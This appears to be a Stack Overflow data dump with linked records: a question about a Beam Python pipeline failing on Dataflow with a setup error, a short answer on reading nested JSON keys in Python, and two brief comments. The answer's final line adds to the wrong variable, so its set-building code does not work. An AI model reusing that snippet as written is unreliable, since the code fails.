has body: We are building data pipeline using Beam Python SDK and trying to run on Dataflow, but getting the below error, A setup error was detected in beamapp-xxxxyyyy-0322102737-03220329-8a74-harness-lm6v. Please refer to the worker-startup log for detailed information. But could not find detailed worker-startup logs. We tried increasing memory size, worker count etc, but still getting the same error. Here is the command we use, python run.py \ --project=xyz \ --runner=DataflowRunner \ --staging_location=gs://xyz/staging \ --temp_location=gs://xyz/temp \ --requirements_file=requirements.txt \ --worker_machine_type n1-standard-8 \ --num_workers 2 pipeline snippet, data = pipeline | "load data" >> beam.io.Read( beam.io.BigQuerySource(query="SELECT * FROM abc_table LIMIT 100") ) data | "filter data" >> beam.Filter(lambda x: x.get('column_name') == value) Above pipeline is just loading the data from BigQuery and filtering based on some column value. This pipeline works like a charm in DirectRunner but fails on Dataflow. Are we doing any obvious setup mistake? anyone else getting the same error? We could use some help to resolve the issue. Update: Our pipeline code is spread across multiple files, so we created a python package. We solved setup error problem by passing --setup_file argument instead of --requirements_file.
possible better answer: http://stackoverflow.com/a/63534765
has comment: http://stackoverflow.com/comment/86181455

http://stackoverflow.com/a/49474300
answers question: http://stackoverflow.com/q/49470915
has body: Getting only specific (nested) values: Since your request key is nested, and resides inside the parent "properties" object, you need to access it first, preferably using the get method. This can be done as follows (note the '{}' parameter in the first get, this returns an empty dictionary if the first key is not present) data_dictionary = json.loads(data_string) product_type = data_dictionary.get('properties', {}).get('**productType**') You can then aggregate the different product_type objects in a set, which will automatically guarantee that no 2 objects are the same product_type_set = set() product_type.add(product_type)
score: 0
type: Answer

http://stackoverflow.com/comment/86562215
type: AnswerComment
has text: It's now deployed. Thanks guys!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49673661

http://stackoverflow.com/comment/85959964
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49478572
score: 0
has text: did you read [Flask Quickstart](http://flask.pocoo.org/docs/0.12/quickstart/#static-files) section for static files? For more you can read [Link to Flask static files with url_for](https://stackoverflow.com/questions/16351826/link-to-flask-static-files-with-url-for)